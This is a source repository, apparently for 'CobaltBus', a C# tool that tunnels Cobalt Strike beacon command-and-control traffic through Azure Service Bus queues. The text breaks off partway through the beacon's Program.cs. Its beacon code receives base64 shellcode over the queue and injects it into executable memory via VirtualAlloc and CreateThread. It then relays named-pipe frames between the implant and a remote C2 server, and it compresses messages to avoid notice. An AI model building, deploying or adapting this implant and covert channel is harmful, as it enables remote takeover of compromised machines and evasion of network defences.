├── .gitignore ├── Beacon ├── App.config ├── Beacon.csproj ├── Handlers │ ├── InjectionHandler.cs │ ├── NamePipeHandler.cs │ └── ServiceBusHandler.cs ├── Models │ └── BeaconMsg.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs └── packages.config ├── CobaltBus.sln ├── CobaltBus ├── CobaltBus.csproj ├── Handlers │ ├── CobaltHandler.cs │ ├── LiteDbHandler.cs │ └── ServiceBusHandler.cs ├── Models │ ├── Beacon.cs │ └── BeaconMsg.cs └── Program.cs ├── FlowDiag.png └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | [Ll]ogs/ 33 | 34 | # Visual Studio 2015/2017 cache/options directory 35 | .vs/ 36 | # Uncomment if you have tasks that create the project's static files in wwwroot 37 | #wwwroot/ 38 | 39 | # Visual Studio 2017 auto generated files 40 | Generated\ Files/ 41 | 42 | # MSTest test Results 43 | [Tt]est[Rr]esult*/ 44 | [Bb]uild[Ll]og.* 45 | 46 | # NUnit 47 | *.VisualState.xml 48 | TestResult.xml 49 | nunit-*.xml 50 | 51 | # Build Results of an ATL Project 52 | [Dd]ebugPS/ 53 | [Rr]eleasePS/ 54 | dlldata.c 55 | 56 | # Benchmark Results 57 | BenchmarkDotNet.Artifacts/ 58 | 59 | # .NET Core 60 | project.lock.json 61 | project.fragment.lock.json 62 | artifacts/ 63 | 64 | # StyleCop 65 | StyleCopReport.xml 66 | 67 | # Files built by Visual Studio 68 | *_i.c 69 | *_p.c 70 | *_h.h 71 | *.ilk 72 | *.meta 73 | *.obj 74 | *.iobj 75 | *.pch 76 | *.pdb 77 | *.ipdb 78 | *.pgc 79 | *.pgd 80 | *.rsp 81 | *.sbr 82 | *.tlb 83 | *.tli 84 | *.tlh 85 | *.tmp 86 | *.tmp_proj 87 | *_wpftmp.csproj 88 | *.log 89 | *.vspscc 90 | *.vssscc 91 | .builds 92 | *.pidb 93 | *.svclog 94 | *.scc 95 | 96 | # Chutzpah Test files 97 | _Chutzpah* 98 | 99 | # Visual C++ cache files 100 | ipch/ 101 | *.aps 102 | *.ncb 103 | *.opendb 104 | *.opensdf 105 | *.sdf 106 | *.cachefile 107 | *.VC.db 108 | *.VC.VC.opendb 109 | 110 | # Visual Studio profiler 111 | *.psess 112 | *.vsp 113 | *.vspx 114 | *.sap 115 | 116 | # Visual Studio Trace Files 117 | *.e2e 118 | 119 | # TFS 2012 Local Workspace 120 | $tf/ 121 | 122 | # Guidance Automation Toolkit 123 | *.gpState 124 | 125 | # ReSharper is a .NET coding add-in 126 | _ReSharper*/ 127 | *.[Rr]e[Ss]harper 128 | *.DotSettings.user 129 | 130 | # TeamCity is a build add-in 131 | _TeamCity* 132 | 133 | # DotCover is a Code Coverage Tool 134 | *.dotCover 135 | 136 | # AxoCover is a Code Coverage Tool 137 | .axoCover/* 138 | !.axoCover/settings.json 139 | 140 | # Visual Studio code coverage results 141 | *.coverage 142 | *.coveragexml 143 | 144 | # NCrunch 145 | _NCrunch_* 146 | .*crunch*.local.xml 147 | nCrunchTemp_* 148 | 149 | # MightyMoose 150 | *.mm.* 151 | AutoTest.Net/ 152 | 153 | # Web workbench (sass) 154 | .sass-cache/ 155 | 156 | # Installshield output folder 157 | [Ee]xpress/ 158 | 159 | # DocProject is a documentation generator add-in 160 | DocProject/buildhelp/ 161 | DocProject/Help/*.HxT 162 | DocProject/Help/*.HxC 163 | DocProject/Help/*.hhc 164 | DocProject/Help/*.hhk 165 | DocProject/Help/*.hhp 166 | DocProject/Help/Html2 167 | DocProject/Help/html 168 | 169 | # Click-Once directory 170 | publish/ 171 | 172 | # Publish Web Output 173 | *.[Pp]ublish.xml 174 | *.azurePubxml 175 | # Note: Comment the next line if you want to checkin your web deploy settings, 176 | # but database connection strings (with potential passwords) will be unencrypted 177 | *.pubxml 178 | *.publishproj 179 | 180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 181 | # checkin your Azure Web App publish settings, but sensitive information contained 182 | # in these scripts will be unencrypted 183 | PublishScripts/ 184 | 185 | # NuGet Packages 186 | *.nupkg 187 | # NuGet Symbol Packages 188 | *.snupkg 189 | # The packages folder can be ignored because of Package Restore 190 | **/[Pp]ackages/* 191 | # except build/, which is used as an MSBuild target. 192 | !**/[Pp]ackages/build/ 193 | # Uncomment if necessary however generally it will be regenerated when needed 194 | #!**/[Pp]ackages/repositories.config 195 | # NuGet v3's project.json files produces more ignorable files 196 | *.nuget.props 197 | *.nuget.targets 198 | 199 | # Microsoft Azure Build Output 200 | csx/ 201 | *.build.csdef 202 | 203 | # Microsoft Azure Emulator 204 | ecf/ 205 | rcf/ 206 | 207 | # Windows Store app package directories and files 208 | AppPackages/ 209 | BundleArtifacts/ 210 | Package.StoreAssociation.xml 211 | _pkginfo.txt 212 | *.appx 213 | *.appxbundle 214 | *.appxupload 215 | 216 | # Visual Studio cache files 217 | # files ending in .cache can be ignored 218 | *.[Cc]ache 219 | # but keep track of directories ending in .cache 220 | !?*.[Cc]ache/ 221 | 222 | # Others 223 | ClientBin/ 224 | ~$* 225 | *~ 226 | *.dbmdl 227 | *.dbproj.schemaview 228 | *.jfm 229 | *.pfx 230 | *.publishsettings 231 | orleans.codegen.cs 232 | 233 | # Including strong name files can present a security risk 234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 235 | #*.snk 236 | 237 | # Since there are multiple workflows, uncomment next line to ignore bower_components 238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 239 | #bower_components/ 240 | 241 | # RIA/Silverlight projects 242 | Generated_Code/ 243 | 244 | # Backup & report files from converting an old project file 245 | # to a newer Visual Studio version. Backup files are not needed, 246 | # because we have git ;-) 247 | _UpgradeReport_Files/ 248 | Backup*/ 249 | UpgradeLog*.XML 250 | UpgradeLog*.htm 251 | ServiceFabricBackup/ 252 | *.rptproj.bak 253 | 254 | # SQL Server files 255 | *.mdf 256 | *.ldf 257 | *.ndf 258 | 259 | # Business Intelligence projects 260 | *.rdl.data 261 | *.bim.layout 262 | *.bim_*.settings 263 | *.rptproj.rsuser 264 | *- [Bb]ackup.rdl 265 | *- [Bb]ackup ([0-9]).rdl 266 | *- [Bb]ackup ([0-9][0-9]).rdl 267 | 268 | # Microsoft Fakes 269 | FakesAssemblies/ 270 | 271 | # GhostDoc plugin setting file 272 | *.GhostDoc.xml 273 | 274 | # Node.js Tools for Visual Studio 275 | .ntvs_analysis.dat 276 | node_modules/ 277 | 278 | # Visual Studio 6 build log 279 | *.plg 280 | 281 | # Visual Studio 6 workspace options file 282 | *.opt 283 | 284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 285 | *.vbw 286 | 287 | # Visual Studio LightSwitch build output 288 | **/*.HTMLClient/GeneratedArtifacts 289 | **/*.DesktopClient/GeneratedArtifacts 290 | **/*.DesktopClient/ModelManifest.xml 291 | **/*.Server/GeneratedArtifacts 292 | **/*.Server/ModelManifest.xml 293 | _Pvt_Extensions 294 | 295 | # Paket dependency manager 296 | .paket/paket.exe 297 | paket-files/ 298 | 299 | # FAKE - F# Make 300 | .fake/ 301 | 302 | # CodeRush personal settings 303 | .cr/personal 304 | 305 | # Python Tools for Visual Studio (PTVS) 306 | __pycache__/ 307 | *.pyc 308 | 309 | # Cake - Uncomment if you are using it 310 | # tools/** 311 | # !tools/packages.config 312 | 313 | # Tabs Studio 314 | *.tss 315 | 316 | # Telerik's JustMock configuration file 317 | *.jmconfig 318 | 319 | # BizTalk build output 320 | *.btp.cs 321 | *.btm.cs 322 | *.odx.cs 323 | *.xsd.cs 324 | 325 | # OpenCover UI analysis results 326 | OpenCover/ 327 | 328 | # Azure Stream Analytics local run output 329 | ASALocalRun/ 330 | 331 | # MSBuild Binary and Structured Log 332 | *.binlog 333 | 334 | # NVidia Nsight GPU debugger configuration file 335 | *.nvuser 336 | 337 | # MFractors (Xamarin productivity tool) working folder 338 | .mfractor/ 339 | 340 | # Local History for Visual Studio 341 | .localhistory/ 342 | 343 | # BeatPulse healthcheck temp database 344 | healthchecksdb 345 | 346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 347 | MigrationBackup/ 348 | 349 | # Ionide (cross platform F# VS Code tools) working folder 350 | .ionide/ 351 | -------------------------------------------------------------------------------- /Beacon/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | -------------------------------------------------------------------------------- /Beacon/Beacon.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {C309CDCC-0548-4B3B-B5B2-BDA77A3D079C} 8 | Exe 9 | Beacon 10 | Beacon 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | 18 | 19 | AnyCPU 20 | true 21 | full 22 | false 23 | bin\Debug\ 24 | DEBUG;TRACE 25 | prompt 26 | 4 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | 37 | 38 | true 39 | bin\x64\Debug\ 40 | DEBUG;TRACE 41 | full 42 | x64 43 | 7.3 44 | prompt 45 | true 46 | 47 | 48 | bin\x64\Release\ 49 | TRACE 50 | true 51 | pdbonly 52 | x64 53 | 7.3 54 | prompt 55 | true 56 | 57 | 58 | 59 | ..\packages\Azure.Core.1.8.1\lib\net461\Azure.Core.dll 60 | 61 | 62 | ..\packages\Azure.Core.Amqp.1.0.0\lib\netstandard2.0\Azure.Core.Amqp.dll 63 | 64 | 65 | ..\packages\Azure.Messaging.ServiceBus.7.1.2\lib\netstandard2.0\Azure.Messaging.ServiceBus.dll 66 | 67 | 68 | ..\packages\Microsoft.Azure.Amqp.2.4.13\lib\net45\Microsoft.Azure.Amqp.dll 69 | 70 | 71 | ..\packages\Microsoft.Azure.Management.ServiceBus.2.1.0\lib\net461\Microsoft.Azure.Management.ServiceBus.dll 72 | 73 | 74 | ..\packages\Microsoft.Azure.ServiceBus.5.1.2\lib\netstandard2.0\Microsoft.Azure.ServiceBus.dll 75 | 76 | 77 | ..\packages\Microsoft.Azure.Services.AppAuthentication.1.0.3\lib\net452\Microsoft.Azure.Services.AppAuthentication.dll 78 | 79 | 80 | ..\packages\Microsoft.Bcl.AsyncInterfaces.1.0.0\lib\net461\Microsoft.Bcl.AsyncInterfaces.dll 81 | 82 | 83 | ..\packages\Microsoft.IdentityModel.Clients.ActiveDirectory.3.14.2\lib\net45\Microsoft.IdentityModel.Clients.ActiveDirectory.dll 84 | 85 | 86 | ..\packages\Microsoft.IdentityModel.Clients.ActiveDirectory.3.14.2\lib\net45\Microsoft.IdentityModel.Clients.ActiveDirectory.Platform.dll 87 | 88 | 89 | ..\packages\Microsoft.IdentityModel.JsonWebTokens.5.4.0\lib\net461\Microsoft.IdentityModel.JsonWebTokens.dll 90 | 91 | 92 | ..\packages\Microsoft.IdentityModel.Logging.5.4.0\lib\net461\Microsoft.IdentityModel.Logging.dll 93 | 94 | 95 | ..\packages\Microsoft.IdentityModel.Tokens.5.4.0\lib\net461\Microsoft.IdentityModel.Tokens.dll 96 | 97 | 98 | ..\packages\Microsoft.Rest.ClientRuntime.2.3.20\lib\net461\Microsoft.Rest.ClientRuntime.dll 99 | 100 | 101 | ..\packages\Microsoft.Rest.ClientRuntime.Azure.3.3.19\lib\net461\Microsoft.Rest.ClientRuntime.Azure.dll 102 | 103 | 104 | ..\packages\WindowsAzure.ServiceBus.6.0.5\lib\net462\Microsoft.ServiceBus.dll 105 | 106 | 107 | ..\packages\Newtonsoft.Json.10.0.3\lib\net45\Newtonsoft.Json.dll 108 | 109 | 110 | ..\packages\Squid-Box.SevenZipSharp.1.5.0.366\lib\net45\SevenZipSharp.dll 111 | 112 | 113 | 114 | ..\packages\System.Buffers.4.5.0\lib\netstandard2.0\System.Buffers.dll 115 | 116 | 117 | 118 | 119 | ..\packages\System.Diagnostics.DiagnosticSource.4.6.0\lib\net46\System.Diagnostics.DiagnosticSource.dll 120 | 121 | 122 | ..\packages\System.IdentityModel.Tokens.Jwt.5.4.0\lib\net461\System.IdentityModel.Tokens.Jwt.dll 123 | 124 | 125 | ..\packages\System.IO.4.1.0\lib\net462\System.IO.dll 126 | True 127 | True 128 | 129 | 130 | ..\packages\System.Memory.4.5.3\lib\netstandard2.0\System.Memory.dll 131 | 132 | 133 | ..\packages\System.Memory.Data.1.0.1\lib\net461\System.Memory.Data.dll 134 | 135 | 136 | 137 | 138 | ..\packages\System.Net.WebSockets.4.0.0\lib\net46\System.Net.WebSockets.dll 139 | True 140 | True 141 | 142 | 143 | ..\packages\System.Net.WebSockets.Client.4.0.2\lib\net46\System.Net.WebSockets.Client.dll 144 | True 145 | True 146 | 147 | 148 | 149 | ..\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll 150 | 151 | 152 | ..\packages\System.Runtime.4.1.0\lib\net462\System.Runtime.dll 153 | True 154 | True 155 | 156 | 157 | ..\packages\System.Runtime.CompilerServices.Unsafe.4.6.0\lib\netstandard2.0\System.Runtime.CompilerServices.Unsafe.dll 158 | 159 | 160 | 161 | ..\packages\System.Runtime.Serialization.Primitives.4.1.1\lib\net46\System.Runtime.Serialization.Primitives.dll 162 | True 163 | True 164 | 165 | 166 | ..\packages\System.Security.Cryptography.Algorithms.4.2.0\lib\net463\System.Security.Cryptography.Algorithms.dll 167 | True 168 | True 169 | 170 | 171 | ..\packages\System.Security.Cryptography.Encoding.4.0.0\lib\net46\System.Security.Cryptography.Encoding.dll 172 | True 173 | True 174 | 175 | 176 | ..\packages\System.Security.Cryptography.Primitives.4.0.0\lib\net46\System.Security.Cryptography.Primitives.dll 177 | True 178 | True 179 | 180 | 181 | ..\packages\System.Security.Cryptography.X509Certificates.4.1.0\lib\net461\System.Security.Cryptography.X509Certificates.dll 182 | True 183 | True 184 | 185 | 186 | 187 | ..\packages\System.Text.Encodings.Web.4.6.0\lib\netstandard2.0\System.Text.Encodings.Web.dll 188 | 189 | 190 | ..\packages\System.Text.Json.4.6.0\lib\net461\System.Text.Json.dll 191 | 192 | 193 | ..\packages\System.Threading.Tasks.Extensions.4.5.2\lib\netstandard2.0\System.Threading.Tasks.Extensions.dll 194 | 195 | 196 | ..\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 222 | 223 | 224 | 225 | 226 | 227 | -------------------------------------------------------------------------------- /Beacon/Handlers/InjectionHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace Beacon.Handlers 9 | { 10 | public class InjectionHandler 11 | { 12 | //This can be replaced with a better alternative of shellcode injection 13 | 14 | private const uint PAYLOAD_MAX_SIZE = 512 * 1024; 15 | private const uint MEM_COMMIT = 0x1000; 16 | private const uint PAGE_EXECUTE_READWRITE = 0x40; 17 | 18 | public static uint InjectStager(byte[] payload) 19 | { 20 | uint threadId = 0; 21 | IntPtr addr = VirtualAlloc(0, PAYLOAD_MAX_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 22 | 23 | Marshal.Copy(payload, 0, addr, payload.Length); 24 | CreateThread(0, 0, addr, IntPtr.Zero, 0, ref threadId); 25 | 26 | return threadId; 27 | } 28 | 29 | [DllImport("kernel32")] 30 | private static extern IntPtr CreateThread( 31 | uint lpThreadAttributes, 32 | uint dwStackSize, 33 | IntPtr lpStartAddress, 34 | IntPtr param, 35 | uint dwCreationFlags, 36 | ref uint lpThreadId 37 | ); 38 | 39 | [DllImport("kernel32")] 40 | private static extern IntPtr VirtualAlloc( 41 | uint lpStartAddr, 42 | uint size, 43 | uint flAllocationType, 44 | uint flProtect 45 | ); 46 | 47 | 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /Beacon/Handlers/NamePipeHandler.cs: -------------------------------------------------------------------------------- 1 | using Beacon.Models; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.IO.Pipes; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Threading; 9 | using System.Threading.Tasks; 10 | 11 | namespace Beacon.Handlers 12 | { 13 | public class NamePipeHandler 14 | { 15 | private const int MaxBufferSize = 1024 * 1024; 16 | 17 | 18 | public NamePipeHandler(string pipeName, string beaconId) 19 | { 20 | PipeName = pipeName; 21 | BeaconId = beaconId; 22 | } 23 | 24 | 25 | public int ExternalId { get; set; } 26 | 27 | public string PipeName { get; set; } 28 | public int RunCount { get; set; } 29 | public bool RunningOtherCommand { get; set; } 30 | public string BeaconId { get; set; } 31 | 32 | 33 | public NamedPipeClientStream Client { get; set; } 34 | 35 | 36 | public bool Connected => Client?.IsConnected ?? false; 37 | 38 | public bool Connect() 39 | { 40 | Client = new NamedPipeClientStream(PipeName.ToString()); 41 | 42 | var tries = 0; 43 | while (Client.IsConnected == false) 44 | { 45 | if (tries == 20) break; // Failed to connect 46 | 47 | Client.Connect(); 48 | tries += 1; 49 | 50 | Thread.Sleep(1000); 51 | } 52 | 53 | return Client.IsConnected; 54 | } 55 | 56 | public void Close() 57 | { 58 | Client.Close(); 59 | } 60 | 61 | public void Dispose() 62 | { 63 | Client.Close(); 64 | } 65 | 66 | public byte[] ReadFrame() 67 | { 68 | var reader = new BinaryReader(Client); 69 | var bufferSize = reader.ReadInt32(); 70 | var size = bufferSize > MaxBufferSize 71 | ? MaxBufferSize 72 | : bufferSize; 73 | 74 | return reader.ReadBytes(size); 75 | } 76 | 77 | public void SendFrame(byte[] buffer) 78 | { 79 | var writer = new BinaryWriter(Client); 80 | 81 | writer.Write(buffer.Length); 82 | writer.Write(buffer); 83 | } 84 | public static int is64Bit() 85 | { 86 | if (IntPtr.Size == 4) 87 | return 0; 88 | 89 | return 1; 90 | } 91 | 92 | 93 | 94 | public (BeaconMsg beaconMsg, bool stopHandler) ProcessMessage(BeaconMsg beaconMsg) 95 | { 96 | //This hold the C2 communcation protocol logic 97 | BeaconMsg responseMsg = new BeaconMsg() 98 | { 99 | From = beaconMsg.To, 100 | To = beaconMsg.From, 101 | Queue = beaconMsg.Queue 102 | }; 103 | 104 | // :: 105 | 106 | if (Connected) 107 | { 108 | 109 | RunningOtherCommand = true; 110 | 111 | var byteArray = Convert.FromBase64String(beaconMsg.Payload); 112 | 113 | SendFrame(byteArray); 114 | 115 | 116 | var readBuffer = ReadFrame(); 117 | if (readBuffer.Length > 0) 118 | { 119 | responseMsg.Command = ":COM:"; 120 | responseMsg.Payload = Convert.ToBase64String(readBuffer); 121 | 122 | 123 | } 124 | 125 | RunningOtherCommand = false; 126 | 127 | // RunCount++; 128 | 129 | return (responseMsg, false); 130 | // } 131 | 132 | } 133 | else if (beaconMsg.Command.Equals("CHANNEL")) 134 | { 135 | //We need to stop the current channel and start the new one 136 | responseMsg.Command = "GETSTAGER"; 137 | responseMsg.Payload = PipeName + ":" + is64Bit() ; 138 | responseMsg.Queue = beaconMsg.Payload; 139 | 140 | return (responseMsg, true); 141 | } 142 | else if (!Connected && beaconMsg.Command.Equals("INJECT")) 143 | { 144 | 145 | var shellcode = Convert.FromBase64String(beaconMsg.Payload); 146 | 147 | Console.WriteLine($"[+] Performing injection"); 148 | 149 | //Inject the beacon 150 | InjectionHandler.InjectStager(shellcode); 151 | 152 | //Start the SMBPIPE 153 | Console.WriteLine($"[+] Getting and sending beacon ID"); 154 | Connect(); 155 | 156 | var buffer = ReadFrame(); 157 | if (buffer.Length > 0) 158 | { 159 | if (ExternalId == 0 && buffer.Length == 132) 160 | { 161 | ExtractId(buffer); 162 | } 163 | 164 | responseMsg.Command = ":COM:"; 165 | responseMsg.Payload = Convert.ToBase64String(buffer); 166 | 167 | return (responseMsg, false); 168 | } 169 | } 170 | 171 | return (responseMsg, false); 172 | } 173 | 174 | public void ExtractId(byte[] frame) 175 | { 176 | using (var reader = new BinaryReader(new MemoryStream(frame))) 177 | ExternalId = reader.ReadInt32(); 178 | 179 | Console.WriteLine($"[+] Extracted External Beacon Id: {ExternalId}"); 180 | } 181 | 182 | } 183 | 184 | } 185 | -------------------------------------------------------------------------------- /Beacon/Handlers/ServiceBusHandler.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Azure.ServiceBus.Management; 2 | using Azure.Messaging.ServiceBus; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using Beacon.Handlers; 9 | using Newtonsoft.Json; 10 | using Beacon.Models; 11 | 12 | namespace Beacon.Handlers 13 | { 14 | public class ServiceBusHandler 15 | { 16 | public static string OutboundQueueName = "C2"; 17 | public static string InboudboundQueueName = "BE"; 18 | public static string baseQueueName = Program.baseQueueName; 19 | 20 | public string ConnectionString { get; set; } 21 | public string QueueName { get; set; } 22 | public string BeaconId { get; set; } 23 | public bool Initiliazed { get; set; } 24 | public ServiceBusClient client { get; set; } 25 | public NamePipeHandler NamePipeHandler { get; set; } 26 | public ServiceBusProcessor processor { get; set; } 27 | 28 | public ServiceBusHandler(string connectionString, string queueName, string beaconId, NamePipeHandler cobaltHandler) 29 | { 30 | ConnectionString = connectionString; 31 | NamePipeHandler = cobaltHandler; 32 | QueueName = queueName; 33 | //orchestrationQueueName = queueName; 34 | BeaconId = beaconId; 35 | client = new ServiceBusClient(ConnectionString); 36 | } 37 | 38 | // handle received messages 39 | public async Task MessageHandler(ProcessMessageEventArgs args) 40 | { 41 | //Put all relevant messages into the database for handling 42 | //Compress Data 43 | var decom = SevenZip.SevenZipExtractor.ExtractBytes(args.Message.Body.ToArray()); 44 | 45 | var beaconMsg = JsonConvert.DeserializeObject(Encoding.UTF8.GetString(decom)); 46 | 47 | if (beaconMsg != null) 48 | { 49 | if (beaconMsg.To.Equals(BeaconId)) 50 | { 51 | // complete the message. messages is deleted from the queue. 52 | await args.CompleteMessageAsync(args.Message); 53 | 54 | //Process the response 55 | var responseMsg = NamePipeHandler.ProcessMessage(beaconMsg); 56 | 57 | await SendMessageAsync(responseMsg.beaconMsg.Queue, JsonConvert.SerializeObject(responseMsg.beaconMsg)); 58 | 59 | if (QueueName.Equals(baseQueueName)) 60 | { 61 | QueueName = responseMsg.beaconMsg.Queue; 62 | 63 | Initiliazed = responseMsg.stopHandler; 64 | 65 | Console.WriteLine($"[+] Stopping handler for {QueueName}"); 66 | await processor.StopProcessingAsync(); 67 | } 68 | } 69 | } 70 | } 71 | 72 | // handle any errors when receiving messages 73 | public Task ErrorHandler(ProcessErrorEventArgs args) 74 | { 75 | Console.WriteLine(args.Exception.ToString()); 76 | return Task.CompletedTask; 77 | } 78 | 79 | public async Task ReceiveMessageManualAsync(string queueName) 80 | { 81 | var reciver = client.CreateReceiver(queueName); 82 | 83 | var serviceBusMsg = await reciver.ReceiveMessageAsync(TimeSpan.FromSeconds(2)); 84 | 85 | if (serviceBusMsg != null) 86 | { 87 | var beaconMsg = JsonConvert.DeserializeObject(serviceBusMsg.Body.ToString()); 88 | 89 | if (beaconMsg != null) 90 | { 91 | if (beaconMsg.To.Equals(BeaconId)) 92 | { 93 | //Process the response 94 | var responseMsg = NamePipeHandler.ProcessMessage(beaconMsg); 95 | 96 | // complete the message. messages is deleted from the queue. 97 | await reciver.CompleteMessageAsync(serviceBusMsg); 98 | 99 | if (!string.IsNullOrEmpty(responseMsg.beaconMsg.Payload)) 100 | await SendMessageAsync(responseMsg.beaconMsg.Queue, JsonConvert.SerializeObject(responseMsg.beaconMsg)); 101 | 102 | if (QueueName.Equals(baseQueueName)) 103 | { 104 | QueueName = responseMsg.beaconMsg.Queue; 105 | 106 | Initiliazed = responseMsg.stopHandler; 107 | 108 | Console.WriteLine($"[+] Stopping handler for {QueueName}"); 109 | await processor.StopProcessingAsync(); 110 | } 111 | } 112 | } 113 | } 114 | } 115 | 116 | public async Task ReceiveMessagesAsync(string queueName) 117 | { 118 | 119 | // create a processor that we can use to process the messages 120 | processor = client.CreateProcessor(queueName + InboudboundQueueName, new ServiceBusProcessorOptions()); 121 | 122 | // add handler to process messages 123 | processor.ProcessMessageAsync += MessageHandler; 124 | 125 | // add handler to process any errors 126 | processor.ProcessErrorAsync += ErrorHandler; 127 | 128 | 129 | // start processing 130 | await processor.StartProcessingAsync(); 131 | 132 | 133 | 134 | 135 | } 136 | 137 | 138 | public async Task SendMessageAsync(string queueName, string messageData) 139 | { 140 | 141 | // create a sender for the queue 142 | ServiceBusSender sender = client.CreateSender(queueName + OutboundQueueName); 143 | 144 | //Compress Data 145 | var compressed = SevenZip.SevenZipCompressor.CompressBytes(Encoding.UTF8.GetBytes(messageData)); 146 | 147 | // create a message that we can send 148 | ServiceBusMessage message = new ServiceBusMessage(compressed); 149 | 150 | 151 | // send the message 152 | await sender.SendMessageAsync(message); 153 | 154 | 155 | } 156 | 157 | public async Task> ListQueues() 158 | { 159 | var managementClient = new ManagementClient(ConnectionString); 160 | 161 | var allQueues = await managementClient.GetQueuesAsync(); 162 | 163 | return allQueues.Select(x => x.Path).ToList(); 164 | 165 | 166 | } 167 | 168 | public async Task CreateQueue(string queueName) 169 | { 170 | try 171 | { 172 | var managementClient = new ManagementClient(ConnectionString); 173 | 174 | await managementClient.CreateQueueAsync(queueName); 175 | 176 | return true; 177 | } 178 | catch (Exception) 179 | { 180 | 181 | return false; 182 | } 183 | } 184 | } 185 | } 186 | -------------------------------------------------------------------------------- /Beacon/Models/BeaconMsg.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace Beacon.Models 8 | { 9 | public class BeaconMsg 10 | { 11 | public int Id { get; set; } 12 | public string From { get; set; } 13 | public string To { get; set; } 14 | public string Command { get; set; } 15 | public string Payload { get; set; } 16 | public string Queue { get; set; } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Beacon/Program.cs: -------------------------------------------------------------------------------- 1 | using Beacon.Handlers; 2 | using Beacon.Models; 3 | using Microsoft.ServiceBus; 4 | using Newtonsoft.Json; 5 | using System; 6 | using System.Collections.Generic; 7 | using System.Linq; 8 | using System.Text; 9 | using System.Threading; 10 | using System.Threading.Tasks; 11 | 12 | namespace Beacon 13 | { 14 | class Program 15 | { 16 | public static string baseQueueName = "CobaltBus-"; 17 | 18 | public static string connectionString = ""; 19 | 20 | 21 | static async Task Main(string[] args) 22 | { 23 | ServiceBusEnvironment.SystemConnectivity.Mode = Microsoft.ServiceBus.ConnectivityMode.Https; 24 | 25 | var namePipeName = Guid.NewGuid().ToString(); 26 | var beaconId = Guid.NewGuid().ToString(); 27 | 28 | Console.WriteLine("[+] BeaconID " + beaconId); 29 | 30 | Console.WriteLine("[+] PipeName " + namePipeName); 31 | 32 | var namePipeHandler = new NamePipeHandler(namePipeName, beaconId); 33 | 34 | var serviceBusHandler = new ServiceBusHandler(connectionString, baseQueueName, beaconId, namePipeHandler); 35 | var interactive = true; 36 | 37 | //Start listening for Negotation messages on that OrchestrationQueue 38 | // We don't want to await this, since it needs to run async with other tasks 39 | var c2Id = "C2SERVER"; 40 | 41 | var initMsg = new BeaconMsg() 42 | { 43 | To = c2Id, 44 | From = beaconId, 45 | Command = "INITIALIZE", 46 | Payload = namePipeName, 47 | Queue = baseQueueName 48 | 49 | }; 50 | 51 | Console.WriteLine("[+] Sending INITIALIZE request"); 52 | await serviceBusHandler.SendMessageAsync(baseQueueName, JsonConvert.SerializeObject(initMsg)); 53 | 54 | 55 | Console.WriteLine("[+] Started response listener"); 56 | serviceBusHandler.ReceiveMessagesAsync(baseQueueName); 57 | 58 | while (!serviceBusHandler.Initiliazed) 59 | { 60 | //Loop to wait for the beacon to recived it's first callback to do something 61 | } 62 | 63 | var newQueueName = serviceBusHandler.QueueName; 64 | //We got a callback to do something 65 | Console.WriteLine($"[+] Moving into a dedicated queue, starting {newQueueName}"); 66 | 67 | var serviceBusHandlerTwo = new ServiceBusHandler(connectionString, newQueueName, beaconId, namePipeHandler); 68 | 69 | serviceBusHandlerTwo.ReceiveMessagesAsync(newQueueName); 70 | 71 | if (interactive) 72 | { 73 | while (true) 74 | { 75 | } 76 | } 77 | else 78 